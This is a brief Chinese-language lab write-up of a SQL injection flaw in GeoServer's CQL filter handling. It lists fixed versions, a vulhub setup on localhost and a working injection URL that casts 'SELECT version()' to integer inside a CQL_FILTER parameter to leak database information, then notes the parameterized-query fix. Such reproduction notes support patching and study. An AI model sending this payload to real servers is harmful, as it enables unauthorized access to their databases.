漏洞简介
GeoServer包括对OGC过滤器表达式语言和OGC通用查询语言(CQL)的支持,作为Web功能服务(WFS)和Web地图服务(WMS)协议的一部分。CQL还通过ImageMosaic覆盖的网络覆盖服务(WCS)协议得到支持。
修复版本
GeoSever 2.21.4
GeoServer 2.22.2
GeoServer 2.20.7
GeoServer 2.19.7
GeoServer 2.18.7
环境搭建
利用 vulhub 来搭建漏洞环境
启动项目成功后访问网址
http://127.0.0.1:8080/geoserver/web/
漏洞复现
http://127.0.0.1:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities
http://127.0.0.1:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
简单分析
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java
修复版本 使用参数化的查询,摒弃直接利用字符串
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java
转义SQL注释的内容以防止SQL注入